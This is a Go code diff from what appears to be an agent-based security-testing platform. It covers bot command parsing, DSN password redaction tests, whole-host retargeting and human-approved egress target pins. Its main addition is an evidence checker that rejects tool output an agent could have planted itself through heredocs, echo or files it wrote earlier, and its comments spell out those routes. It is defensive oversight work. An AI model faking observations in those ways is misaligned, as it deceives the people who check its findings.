|
||||||
|
|
||||||
// MaxUpdateAge is how old an update may be and still be acted on.
|
// MaxUpdateAge is how old an update may be and still be acted on.
|
||||||
@@ -256,7 +257,11 @@ func parseCommand(text, botUserName string) (name, args string, forOther bool) {
|
|||||||
if !strings.HasPrefix(text, "/") {
|
if !strings.HasPrefix(text, "/") {
|
||||||
return "", text, false
|
return "", text, false
|
||||||
}
|
}
|
||||||
head, rest, _ := strings.Cut(text[1:], " ")
|
// The arguments may follow on the next line or after a tab, not only a space.
|
||||||
|
head, rest := text[1:], ""
|
||||||
|
if i := strings.IndexFunc(head, unicode.IsSpace); i >= 0 {
|
||||||
|
head, rest = head[:i], head[i:]
|
||||||
|
}
|
||||||
head, target, addressed := strings.Cut(head, "@")
|
head, target, addressed := strings.Cut(head, "@")
|
||||||
if head == "" {
|
if head == "" {
|
||||||
return "", text, false
|
return "", text, false
|
||||||
|
|||||||
@@ -42,6 +42,20 @@ func TestRouteCommandAddressedToThisOrOtherBot(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestRouteCommandArgsAfterNewlineOrTab(t *testing.T) {
|
||||||
|
r := testRouter()
|
||||||
|
for text, want := range map[string]string{
|
||||||
|
"/echo\nhello": "echo:hello:op",
|
||||||
|
"/echo\thello": "echo:hello:op",
|
||||||
|
"/echo@artex_bot\nhello": "echo:hello:op",
|
||||||
|
"/echo hello\nworld": "echo:hello\nworld:op",
|
||||||
|
} {
|
||||||
|
if d, reply := r.Route(context.Background(), KindTelegram, Access{Chats: []string{"100"}}, msg("100", text)); d != DecisionHandled || reply != want {
|
||||||
|
t.Errorf("%q: got %v %q, want %q", text, d, reply, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestRouteUnknownChatRefusedOnceThenMuted(t *testing.T) {
|
func TestRouteUnknownChatRefusedOnceThenMuted(t *testing.T) {
|
||||||
r := testRouter()
|
r := testRouter()
|
||||||
d, reply := r.Route(context.Background(), KindTelegram, Access{Chats: []string{"100"}}, msg("555", "/echo hi"))
|
d, reply := r.Route(context.Background(), KindTelegram, Access{Chats: []string{"100"}}, msg("555", "/echo hi"))
|
||||||
|
|||||||
+17
-1
@@ -308,6 +308,16 @@ func redactKeywordPasswords(dsn string) string {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// hasSplitUserinfoPassword reports whether a raw '@' landed outside the
|
||||||
|
// userinfo, in Path, RawQuery or Fragment, where url.Parse puts it when a
|
||||||
|
// password contains an unencoded '#', '/' or '?'. Any such '@' fails closed: a
|
||||||
|
// split password cannot be told apart from a harmless '@' in a query value.
|
||||||
|
func hasSplitUserinfoPassword(u *url.URL) bool {
|
||||||
|
return strings.Contains(u.Fragment, "@") ||
|
||||||
|
strings.Contains(u.Path, "@") ||
|
||||||
|
strings.Contains(u.RawQuery, "@")
|
||||||
|
}
|
||||||
|
|
||||||
// Redact is a log-safe view of a PostgreSQL DSN. It masks URL userinfo
|
// Redact is a log-safe view of a PostgreSQL DSN. It masks URL userinfo
|
||||||
// passwords, `?password=` and `?sslpassword=` query values, and libpq
|
// passwords, `?password=` and `?sslpassword=` query values, and libpq
|
||||||
// `password=` and `sslpassword=` keywords, in any letter case.
|
// `password=` and `sslpassword=` keywords, in any letter case.
|
||||||
@@ -321,12 +331,18 @@ func Redact(dsn string) string {
|
|||||||
if u.Opaque != "" {
|
if u.Opaque != "" {
|
||||||
return u.Scheme + ":[redacted]"
|
return u.Scheme + ":[redacted]"
|
||||||
}
|
}
|
||||||
|
if hasSplitUserinfoPassword(u) {
|
||||||
|
return u.Scheme + "://[redacted]"
|
||||||
|
}
|
||||||
if u.User != nil {
|
if u.User != nil {
|
||||||
if _, hasPw := u.User.Password(); hasPw {
|
if _, hasPw := u.User.Password(); hasPw {
|
||||||
u.User = url.UserPassword(u.User.Username(), "****")
|
u.User = url.UserPassword(u.User.Username(), "****")
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
q := u.Query()
|
q, qerr := url.ParseQuery(u.RawQuery)
|
||||||
|
if qerr != nil {
|
||||||
|
return u.Scheme + "://[redacted]"
|
||||||
|
}
|
||||||
masked := false
|
masked := false
|
||||||
for k := range q {
|
for k := range q {
|
||||||
if isDSNSecretParam(k) {
|
if isDSNSecretParam(k) {
|
||||||
|
|||||||
@@ -115,6 +115,26 @@ func TestRedactMasksEveryDSNPasswordForm(t *testing.T) {
|
|||||||
{"postgres://u:pa/ss@localhost/d", "pa/ss"},
|
{"postgres://u:pa/ss@localhost/d", "pa/ss"},
|
||||||
{"postgresql://u:50%off@localhost/d", "50%off"},
|
{"postgresql://u:50%off@localhost/d", "50%off"},
|
||||||
{"postgres://u:a?b@localhost/d", "a?b"},
|
{"postgres://u:a?b@localhost/d", "a?b"},
|
||||||
|
// Numeric or empty prefix before # / ? lets url.Parse succeed with u.Host="u:1234" or "u:".
|
||||||
|
{"postgres://u:1234#secret@localhost:5432/d?sslmode=disable", "secret"},
|
||||||
|
{"postgres://u:#secret@localhost:5432/d?sslmode=disable", "secret"},
|
||||||
|
{"postgres://u:1234/secret@localhost/d", "secret"},
|
||||||
|
{"postgres://u:/secret@localhost/d", "secret"},
|
||||||
|
{"postgres://u:1234?secret@localhost/d", "secret"},
|
||||||
|
{"postgres://u:?secret@localhost/d", "secret"},
|
||||||
|
{"postgres://u:1234/a?b@localhost/d", "b@localhost"},
|
||||||
|
// Password containing '@' before '#' or '/' splits authority prematurely.
|
||||||
|
{"postgres://u:p@ss#secret@localhost:5432/d", "secret"},
|
||||||
|
{"postgres://u:p@ss/secret@localhost/d", "secret"},
|
||||||
|
// Raw '%' or ';' in query string makes url.ParseQuery drop the secret parameter.
|
||||||
|
{"postgres://localhost/d?password=50%off&sslmode=require", "50%off"},
|
||||||
|
{"postgres://localhost/d?sslpassword=50%off&sslmode=require", "50%off"},
|
||||||
|
{"postgres://localhost/d?sslmode=require;password=secret", "secret"},
|
||||||
|
// A raw '@' in a query value or in the path fails closed: a split
|
||||||
|
// password has the same shape and cannot be told apart from it.
|
||||||
|
{"postgres://u:12/x?a=S3CRETMARK@h/d", "S3CRETMARK"},
|
||||||
|
{"postgres://u:12/x?a=b&c=S3CRETMARK@h/d", "S3CRETMARK"},
|
||||||
|
{"postgres://u:12/S3CRETMARK?a=b@h/d", "S3CRETMARK"},
|
||||||
}
|
}
|
||||||
for _, c := range cases {
|
for _, c := range cases {
|
||||||
got := Redact(c.in)
|
got := Redact(c.in)
|
||||||
@@ -122,6 +142,13 @@ func TestRedactMasksEveryDSNPasswordForm(t *testing.T) {
|
|||||||
t.Errorf("Redact(%q)=%q still contains %q", c.in, got, c.secret)
|
t.Errorf("Redact(%q)=%q still contains %q", c.in, got, c.secret)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
// A benign DSN with an '@' inside a non-secret query value must remain intact.
|
||||||
|
// The '@' is percent-encoded: a raw '@' is indistinguishable from a split
|
||||||
|
// password and is redacted on purpose.
|
||||||
|
const benign = "postgres://localhost:5432/d?application_name=team%40ops"
|
||||||
|
if got := Redact(benign); got != benign {
|
||||||
|
t.Errorf("Redact(%q)=%q, want unchanged", benign, got)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestMalformedConfigIsAnError(t *testing.T) {
|
func TestMalformedConfigIsAnError(t *testing.T) {
|
||||||
|
|||||||
+233
-9
@@ -1888,27 +1888,251 @@ ORDER BY id DESC LIMIT 1`, s.expID, nodeID, lines).Scan(&id, &createdAt)
|
|||||||
return id, createdAt, true, nil
|
return id, createdAt, true, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// evidenceMaxToolResults bounds the tool_result rows one evidence lookup
|
||||||
|
// examines, newest first.
|
||||||
|
const evidenceMaxToolResults = 20
|
||||||
|
|
||||||
|
// evidenceMaxToolInputs bounds the earlier tool_use rows one evidence lookup
|
||||||
|
// reads to check that the quoted lines were not the agent's own input. A
|
||||||
|
// lookup with more candidate rows refuses every result.
|
||||||
|
const evidenceMaxToolInputs = 500
|
||||||
|
|
||||||
// ToolResultActivityContainingEvidence returns the newest tool_result activity
|
// ToolResultActivityContainingEvidence returns the newest tool_result activity
|
||||||
// recorded for nodeID in THIS exploration whose summary or detail contains one
|
// recorded for nodeID in THIS exploration whose summary or detail contains one
|
||||||
// of the given verbatim evidence lines. Restricting to kind='tool_result'
|
// of the given verbatim evidence lines, provided that none of the lines it
|
||||||
// ensures assistant prose or thinking rows cannot corroborate tool_output facts.
|
// contains occurs in the input of a tool call of this exploration recorded
|
||||||
func (s *ExplorationStore) ToolResultActivityContainingEvidence(nodeID int64, lines []string) (id int64, createdAt time.Time, ok bool, err error) {
|
// before it (its own call, with the same tool_use_id, included). Text the
|
||||||
|
// agent wrote into a tool's input (a heredoc, echo, printf, or a file written
|
||||||
|
// by one call and read back by another) is not an observation. echoed is true
|
||||||
|
// when a result contained a line but every such result was refused that way.
|
||||||
|
// Restricting to kind='tool_result' ensures assistant prose or thinking rows
|
||||||
|
// cannot corroborate tool_output facts.
|
||||||
|
//
|
||||||
|
// The result returned must also hold every quoted line of the evidence
|
||||||
|
// (EvidenceLinesIn), so free text cannot ride along with one real output line:
|
||||||
|
// all of them in that one result, the one recorded as provenance. incomplete
|
||||||
|
// is true when no result qualified and one that was not refused as an echo
|
||||||
|
// lacked a quoted line.
|
||||||
|
func (s *ExplorationStore) ToolResultActivityContainingEvidence(nodeID int64, lines, quoted []string) (id int64, createdAt time.Time, ok, echoed, incomplete bool, err error) {
|
||||||
if nodeID <= 0 || len(lines) == 0 {
|
if nodeID <= 0 || len(lines) == 0 {
|
||||||
return 0, time.Time{}, false, nil
|
return 0, time.Time{}, false, false, false, nil
|
||||||
}
|
}
|
||||||
err = s.db.QueryRow(`SELECT id, created_at FROM activity a
|
type result struct {
|
||||||
|
id int64
|
||||||
|
createdAt time.Time
|
||||||
|
matched []string
|
||||||
|
}
|
||||||
|
rows, err := s.db.Query(`SELECT id, created_at,
|
||||||
|
array_to_string(ARRAY(SELECT line FROM unnest($3::text[]) AS line
|
||||||
|
WHERE strpos(COALESCE(a.detail,''), line) > 0
|
||||||
|
OR strpos(COALESCE(a.summary,''), line) > 0), E'\n')
|
||||||
|
FROM activity a
|
||||||
WHERE exploration_id=$1 AND node_id=$2 AND kind='tool_result'
|
WHERE exploration_id=$1 AND node_id=$2 AND kind='tool_result'
|
||||||
AND EXISTS (SELECT 1 FROM unnest($3::text[]) AS line
|
AND EXISTS (SELECT 1 FROM unnest($3::text[]) AS line
|
||||||
WHERE strpos(COALESCE(a.detail,''), line) > 0
|
WHERE strpos(COALESCE(a.detail,''), line) > 0
|
||||||
OR strpos(COALESCE(a.summary,''), line) > 0)
|
OR strpos(COALESCE(a.summary,''), line) > 0)
|
||||||
ORDER BY id DESC LIMIT 1`, s.expID, nodeID, lines).Scan(&id, &createdAt)
|
ORDER BY id DESC LIMIT $4`, s.expID, nodeID, lines, evidenceMaxToolResults)
|
||||||
|
if err != nil {
|
||||||
|
return 0, time.Time{}, false, false, false, err
|
||||||
|
}
|
||||||
|
var results []result
|
||||||
|
for rows.Next() {
|
||||||
|
var r result
|
||||||
|
var matched string
|
||||||
|
if err := rows.Scan(&r.id, &r.createdAt, &matched); err != nil {
|
||||||
|
rows.Close()
|
||||||
|
return 0, time.Time{}, false, false, false, err
|
||||||
|
}
|
||||||
|
r.matched = strings.Split(matched, "\n")
|
||||||
|
results = append(results, r)
|
||||||
|
}
|
||||||
|
rows.Close()
|
||||||
|
if err := rows.Err(); err != nil {
|
||||||
|
return 0, time.Time{}, false, false, false, err
|
||||||
|
}
|
||||||
|
if len(results) == 0 {
|
||||||
|
return 0, time.Time{}, false, false, false, nil
|
||||||
|
}
|
||||||
|
inputs, complete, err := s.toolInputsQuoting(results[0].id, lines)
|
||||||
|
if err != nil {
|
||||||
|
return 0, time.Time{}, false, false, false, err
|
||||||
|
}
|
||||||
|
if !complete {
|
||||||
|
return 0, time.Time{}, false, true, false, nil
|
||||||
|
}
|
||||||
|
for _, r := range results {
|
||||||
|
if linesInToolInputs(r.matched, inputs, r.id) {
|
||||||
|
echoed = true
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
holds, err := s.ToolResultContainsQuotedLines(r.id, quoted)
|
||||||
|
if err != nil {
|
||||||
|
return 0, time.Time{}, false, false, false, err
|
||||||
|
}
|
||||||
|
if holds {
|
||||||
|
return r.id, r.createdAt, true, false, false, nil
|
||||||
|
}
|
||||||
|
incomplete = true
|
||||||
|
}
|
||||||
|
return 0, time.Time{}, false, echoed && !incomplete, incomplete, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// evidenceWholeLineRunes is the length below which a quoted evidence line must
|
||||||
|
// equal a whole output line; agent.factEvidenceMinRunes uses the same value.
|
||||||
|
const evidenceWholeLineRunes = 12
|
||||||
|
|
||||||
|
// EvidenceLinesIn reports whether output holds every quoted line. A line is
|
||||||
|
// compared without its leading and trailing whitespace, and a blank line is
|
||||||
|
// skipped. A line of evidenceWholeLineRunes runes or more may be any part of
|
||||||
|
// the output; a shorter line ("ok", "}") must equal a whole output line, also
|
||||||
|
// trimmed, so a short fragment cannot be found inside a longer word.
|
||||||
|
func EvidenceLinesIn(output string, quoted []string) bool {
|
||||||
|
var whole map[string]bool
|
||||||
|
for _, q := range quoted {
|
||||||
|
q = strings.TrimSpace(q)
|
||||||
|
if q == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if len([]rune(q)) >= evidenceWholeLineRunes {
|
||||||
|
if !strings.Contains(output, q) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if whole == nil {
|
||||||
|
whole = map[string]bool{}
|
||||||
|
for line := range strings.SplitSeq(output, "\n") {
|
||||||
|
whole[strings.TrimSpace(line)] = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !whole[q] {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
// ToolResultContainsQuotedLines reports whether activityID is a tool_result of
|
||||||
|
// THIS exploration whose detail, or else whose summary, holds every quoted
|
||||||
|
// line (EvidenceLinesIn).
|
||||||
|
func (s *ExplorationStore) ToolResultContainsQuotedLines(activityID int64, quoted []string) (bool, error) {
|
||||||
|
var summary, detail string
|
||||||
|
err := s.db.QueryRow(`SELECT COALESCE(summary,''), COALESCE(detail,'') FROM activity
|
||||||
|
WHERE exploration_id=$1 AND id=$2 AND kind='tool_result'`, s.expID, activityID).Scan(&summary, &detail)
|
||||||
if err == sql.ErrNoRows {
|
if err == sql.ErrNoRows {
|
||||||
return 0, time.Time{}, false, nil
|
return false, nil
|
||||||
}
|
}
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return 0, time.Time{}, false, err
|
return false, err
|
||||||
}
|
}
|
||||||
return id, createdAt, true, nil
|
return EvidenceLinesIn(detail, quoted) || EvidenceLinesIn(summary, quoted), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// toolInput is the text of a recorded tool call's input.
|
||||||
|
type toolInput struct {
|
||||||
|
id int64
|
||||||
|
text string
|
||||||
|
}
|
||||||
|
|
||||||
|
// toolInputsQuoting returns the tool_use rows of this exploration recorded
|
||||||
|
// before activity beforeID that may contain one of lines: the SQL filter keeps
|
||||||
|
// a row that holds the longest run of each line's characters that JSON never
|
||||||
|
// escapes, so it cannot drop a row whose decoded input holds the line. Each
|
||||||
|
// row's text is its decoded JSON strings and its input as written. complete
|
||||||
|
// is false when more than evidenceMaxToolInputs rows qualify.
|
||||||
|
func (s *ExplorationStore) toolInputsQuoting(beforeID int64, lines []string) (inputs []toolInput, complete bool, err error) {
|
||||||
|
anchors := make([]string, len(lines))
|
||||||
|
for i, line := range lines {
|
||||||
|
anchors[i] = jsonSafeRun(line)
|
||||||
|
}
|
||||||
|
rows, err := s.db.Query(`SELECT id, COALESCE(detail,'') FROM activity a
|
||||||
|
WHERE exploration_id=$1 AND kind='tool_use' AND id < $2
|
||||||
|
AND EXISTS (SELECT 1 FROM unnest($3::text[]) AS anchor WHERE strpos(COALESCE(a.detail,''), anchor) > 0)
|
||||||
|
ORDER BY id DESC LIMIT $4`, s.expID, beforeID, anchors, evidenceMaxToolInputs+1)
|
||||||
|
if err != nil {
|
||||||
|
return nil, false, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
for rows.Next() {
|
||||||
|
var in toolInput
|
||||||
|
var detail string
|
||||||
|
if err := rows.Scan(&in.id, &detail); err != nil {
|
||||||
|
return nil, false, err
|
||||||
|
}
|
||||||
|
in.text = detail + "\n" + jsonStrings(detail)
|
||||||
|
inputs = append(inputs, in)
|
||||||
|
}
|
||||||
|
if err := rows.Err(); err != nil {
|
||||||
|
return nil, false, err
|
||||||
|
}
|
||||||
|
if len(inputs) > evidenceMaxToolInputs {
|
||||||
|
return nil, false, nil
|
||||||
|
}
|
||||||
|
return inputs, true, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// linesInToolInputs reports whether one of lines occurs in a tool input
|
||||||
|
// recorded before activity beforeID.
|
||||||
|
func linesInToolInputs(lines []string, inputs []toolInput, beforeID int64) bool {
|
||||||
|
for _, in := range inputs {
|
||||||
|
if in.id >= beforeID {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
for _, line := range lines {
|
||||||
|
if line != "" && strings.Contains(in.text, line) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// jsonSafeRun returns the longest run of s made of printable ASCII that no JSON
|
||||||
|
// encoder escapes (everything but " \ / < > &). Any JSON text whose decoded
|
||||||
|
// strings hold s holds that run verbatim.
|
||||||
|
func jsonSafeRun(s string) string {
|
||||||
|
best, start := "", -1
|
||||||
|
for i := 0; i <= len(s); i++ {
|
||||||
|
safe := i < len(s) && s[i] >= 0x20 && s[i] < 0x7f && !strings.ContainsRune(`"\/<>&`, rune(s[i]))
|
||||||
|
if safe && start < 0 {
|
||||||
|
start = i
|
||||||
|
}
|
||||||
|
if !safe && start >= 0 {
|
||||||
|
if i-start > len(best) {
|
||||||
|
best = s[start:i]
|
||||||
|
}
|
||||||
|
start = -1
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return best
|
||||||
|
}
|
||||||
|
|
||||||
|
// jsonStrings returns every string value of a JSON document, one per line, or
|
||||||
|
// "" when detail is not JSON.
|
||||||
|
func jsonStrings(detail string) string {
|
||||||
|
var v any
|
||||||
|
if json.Unmarshal([]byte(detail), &v) != nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
var sb strings.Builder
|
||||||
|
var walk func(any)
|
||||||
|
walk = func(x any) {
|
||||||
|
switch t := x.(type) {
|
||||||
|
case string:
|
||||||
|
sb.WriteString(t)
|
||||||
|
sb.WriteByte('\n')
|
||||||
|
case []any:
|
||||||
|
for _, e := range t {
|
||||||
|
walk(e)
|
||||||
|
}
|
||||||
|
case map[string]any:
|
||||||
|
for _, e := range t {
|
||||||
|
walk(e)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
walk(v)
|
||||||
|
return sb.String()
|
||||||
}
|
}
|
||||||
|
|
||||||
// ActivityMatchesProvenance checks that activityID exists in THIS task's
|
// ActivityMatchesProvenance checks that activityID exists in THIS task's
|
||||||
|
|||||||
@@ -79,8 +79,9 @@ type InterceptTarget struct {
|
|||||||
PinnedIPs []string `json:"pinned_ips,omitempty"`
|
PinnedIPs []string `json:"pinned_ips,omitempty"`
|
||||||
Reason string `json:"reason,omitempty"` // no_pin | new_ip | revoked
|
Reason string `json:"reason,omitempty"` // no_pin | new_ip | revoked
|
||||||
Outcome string `json:"outcome"` // requested | pinned | denied | pin_match | exempt | rule_blocked | resolve_failed | too_many | gate_unavailable
|
Outcome string `json:"outcome"` // requested | pinned | denied | pin_match | exempt | rule_blocked | resolve_failed | too_many | gate_unavailable
|
||||||
// NameOnlyEffective: requested while the upstream egress proxy was set; a pin
|
// NameOnlyEffective: requested, or used, for traffic that went through a
|
||||||
// created from this request covers the name only.
|
// proxy, which chose the address. A pin created from such a request records
|
||||||
|
// it; a connection the platform opens itself still compares the addresses.
|
||||||
NameOnlyEffective bool `json:"name_only_effective,omitempty"`
|
NameOnlyEffective bool `json:"name_only_effective,omitempty"`
|
||||||
// ExemptVoid: a stored exemption names this target, and did not apply because
|
// ExemptVoid: a stored exemption names this target, and did not apply because
|
||||||
// the name resolved to a private, loopback or otherwise local address.
|
// the name resolved to a private, loopback or otherwise local address.
|
||||||
|
|||||||
+56
-7
@@ -4,6 +4,7 @@ import (
|
|||||||
"context"
|
"context"
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"net"
|
||||||
"net/url"
|
"net/url"
|
||||||
"regexp"
|
"regexp"
|
||||||
"strings"
|
"strings"
|
||||||
@@ -26,11 +27,62 @@ func replaceHostCaseInsensitive(text, oldHost, newHost string) (string, bool) {
|
|||||||
if oldHost == "" || newHost == "" || strings.EqualFold(oldHost, newHost) {
|
if oldHost == "" || newHost == "" || strings.EqualFold(oldHost, newHost) {
|
||||||
return text, false
|
return text, false
|
||||||
}
|
}
|
||||||
re := regexp.MustCompile(`(?i)` + regexp.QuoteMeta(oldHost))
|
matches := wholeHostMatches(text, oldHost)
|
||||||
if !re.MatchString(text) {
|
if len(matches) == 0 {
|
||||||
return text, false
|
return text, false
|
||||||
}
|
}
|
||||||
return re.ReplaceAllString(text, newHost), true
|
var b strings.Builder
|
||||||
|
last := 0
|
||||||
|
for _, m := range matches {
|
||||||
|
b.WriteString(text[last:m[0]])
|
||||||
|
b.WriteString(newHost)
|
||||||
|
last = m[1]
|
||||||
|
}
|
||||||
|
b.WriteString(text[last:])
|
||||||
|
return b.String(), true
|
||||||
|
}
|
||||||
|
|
||||||
|
// wholeHostMatches returns the case-insensitive matches of host in text that
|
||||||
|
// are a whole host: 10.0.0.1 must not match in 10.0.0.10, nor example.com in
|
||||||
|
// notexample.com or example.com.evil.net. A subdomain (api.example.com)
|
||||||
|
// matches, since it is under the host.
|
||||||
|
func wholeHostMatches(text, host string) [][]int {
|
||||||
|
if host == "" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
re := regexp.MustCompile(`(?i)` + regexp.QuoteMeta(host))
|
||||||
|
// An IP has no subdomains, and in an IPv6 address a colon joins groups.
|
||||||
|
ip := net.ParseIP(host) != nil
|
||||||
|
v6 := ip && strings.Contains(host, ":")
|
||||||
|
inHost := func(c byte) bool { return hostLabelByte(c) || v6 && c == ':' }
|
||||||
|
var out [][]int
|
||||||
|
for _, m := range re.FindAllStringIndex(text, -1) {
|
||||||
|
if m[0] > 0 && (inHost(text[m[0]-1]) || ip && text[m[0]-1] == '.') {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if rest := text[m[1]:]; rest != "" && (inHost(rest[0]) || rest[0] == '.' && len(rest) > 1 && hostLabelByte(rest[1])) {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
out = append(out, m)
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
// retargetGoal rewrites oldHost to newHost in a task goal. When the goal
|
||||||
|
// names neither host, it appends the new target. Both checks match whole
|
||||||
|
// hosts only, so a goal naming 10.0.0.10 still gets the suffix for 10.0.0.1.
|
||||||
|
func retargetGoal(goal, oldHost, newHost, newBaseURL string) string {
|
||||||
|
if updated, ok := replaceHostCaseInsensitive(goal, oldHost, newHost); ok {
|
||||||
|
return updated
|
||||||
|
}
|
||||||
|
if len(wholeHostMatches(goal, newHost)) > 0 {
|
||||||
|
return goal
|
||||||
|
}
|
||||||
|
return strings.TrimSpace(goal) + " [Target: " + strings.TrimSpace(newBaseURL) + "]"
|
||||||
|
}
|
||||||
|
|
||||||
|
func hostLabelByte(c byte) bool {
|
||||||
|
return c >= 'a' && c <= 'z' || c >= 'A' && c <= 'Z' || c >= '0' && c <= '9' || c == '-' || c == '_'
|
||||||
}
|
}
|
||||||
|
|
||||||
// RetargetTask updates tasks.goal, explorations.goal, open goal node payloads,
|
// RetargetTask updates tasks.goal, explorations.goal, open goal node payloads,
|
||||||
@@ -59,10 +111,7 @@ func (d *DB) RetargetTask(ctx context.Context, taskID int64, oldHost, newBaseURL
|
|||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
|
|
||||||
newGoal, replaced := replaceHostCaseInsensitive(curGoal, oldH, newH)
|
newGoal := retargetGoal(curGoal, oldH, newH, newBaseURL)
|
||||||
if !replaced && !strings.Contains(strings.ToLower(curGoal), newH) {
|
|
||||||
newGoal = strings.TrimSpace(curGoal) + " [Target: " + strings.TrimSpace(newBaseURL) + "]"
|
|
||||||
}
|
|
||||||
if _, err := tx.ExecContext(ctx, `UPDATE tasks SET goal=$1 WHERE id=$2`, newGoal, taskID); err != nil {
|
if _, err := tx.ExecContext(ctx, `UPDATE tasks SET goal=$1 WHERE id=$2`, newGoal, taskID); err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,39 @@
|
|||||||
|
package db
|
||||||
|
|
||||||
|
import "testing"
|
||||||
|
|
||||||
|
func TestReplaceHostCaseInsensitiveMatchesWholeHostOnly(t *testing.T) {
|
||||||
|
cases := []struct{ text, old, new, want string }{
|
||||||
|
{"http://10.0.0.1/ and http://10.0.0.10/", "10.0.0.1", "10.0.0.5", "http://10.0.0.5/ and http://10.0.0.10/"},
|
||||||
|
{"notexample.com and Example.com:8080", "example.com", "new.com", "notexample.com and new.com:8080"},
|
||||||
|
{"example.com.evil.net", "example.com", "new.com", "example.com.evil.net"},
|
||||||
|
{"api.example.com, then example.com.", "example.com", "new.com", "api.new.com, then new.com."},
|
||||||
|
{"1.10.0.0.1 and (10.0.0.1)", "10.0.0.1", "10.0.0.5", "1.10.0.0.1 and (10.0.0.5)"},
|
||||||
|
{"http://[fe80::1]:80/ and fe80::1:5", "fe80::1", "fe80::2", "http://[fe80::2]:80/ and fe80::1:5"},
|
||||||
|
{"2001:db8::1", "db8::1", "db8::2", "2001:db8::1"},
|
||||||
|
{"see example.com", "example.com", "a$1b", "see a$1b"},
|
||||||
|
}
|
||||||
|
for _, c := range cases {
|
||||||
|
got, _ := replaceHostCaseInsensitive(c.text, c.old, c.new)
|
||||||
|
if got != c.want {
|
||||||
|
t.Errorf("replace(%q, %q→%q) = %q, want %q", c.text, c.old, c.new, got, c.want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if _, ok := replaceHostCaseInsensitive("http://10.0.0.10/", "10.0.0.1", "10.0.0.5"); ok {
|
||||||
|
t.Errorf("a longer host reported as replaced")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestRetargetGoalSuffixMatchesWholeHostOnly(t *testing.T) {
|
||||||
|
cases := []struct{ goal, want string }{
|
||||||
|
{"scan 10.0.0.9", "scan 10.0.0.1"},
|
||||||
|
{"scan 10.0.0.10", "scan 10.0.0.10 [Target: http://10.0.0.1/]"},
|
||||||
|
{"scan 10.0.0.1 too", "scan 10.0.0.1 too"},
|
||||||
|
{"scan the app", "scan the app [Target: http://10.0.0.1/]"},
|
||||||
|
}
|
||||||
|
for _, c := range cases {
|
||||||
|
if got := retargetGoal(c.goal, "10.0.0.9", "10.0.0.1", "http://10.0.0.1/"); got != c.want {
|
||||||
|
t.Errorf("retargetGoal(%q) = %q, want %q", c.goal, got, c.want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+26
-4
@@ -70,9 +70,10 @@ type TargetPin struct {
|
|||||||
InterceptID *int64 `json:"intercept_id"`
|
InterceptID *int64 `json:"intercept_id"`
|
||||||
DecidedBy string `json:"decided_by"`
|
DecidedBy string `json:"decided_by"`
|
||||||
DecidedFrom string `json:"decided_from"`
|
DecidedFrom string `json:"decided_from"`
|
||||||
// NameOnlyEffective: approved while the upstream egress proxy was set, so the
|
// NameOnlyEffective: approved for traffic that went through a proxy. It is
|
||||||
// pin covers the name and its addresses are not compared. It stays set when
|
// a record of the approval only: whether a use compares the addresses is
|
||||||
// the proxy is removed later.
|
// decided per check, from the path of that check (a connection the
|
||||||
|
// platform opens itself always compares them).
|
||||||
NameOnlyEffective bool `json:"name_only_effective"`
|
NameOnlyEffective bool `json:"name_only_effective"`
|
||||||
RevokedAt *time.Time `json:"revoked_at,omitempty"`
|
RevokedAt *time.Time `json:"revoked_at,omitempty"`
|
||||||
RevokedReason string `json:"revoked_reason,omitempty"`
|
RevokedReason string `json:"revoked_reason,omitempty"`
|
||||||
@@ -345,6 +346,22 @@ func (d *DB) TargetRequestKey(id int64) (string, error) {
|
|||||||
// approval returns ErrTargetGateDisabled after committing the denial. If the
|
// approval returns ErrTargetGateDisabled after committing the denial. If the
|
||||||
// pin cannot be written the row stays pending.
|
// pin cannot be written the row stays pending.
|
||||||
func (d *DB) ResolveTargetRequest(id int64, allowed bool, approver, remoteAddr string) (pin *TargetPin, ok bool, err error) {
|
func (d *DB) ResolveTargetRequest(id int64, allowed bool, approver, remoteAddr string) (pin *TargetPin, ok bool, err error) {
|
||||||
|
return d.ResolveTargetRequestWith(id, allowed, approver, remoteAddr, nil)
|
||||||
|
}
|
||||||
|
|
||||||
|
// TargetAddresses are the addresses resolved for a target request that was
|
||||||
|
// raised by name only, after a human approved it.
|
||||||
|
type TargetAddresses struct {
|
||||||
|
IPs []string
|
||||||
|
Resolver string
|
||||||
|
ResolvedAt time.Time
|
||||||
|
}
|
||||||
|
|
||||||
|
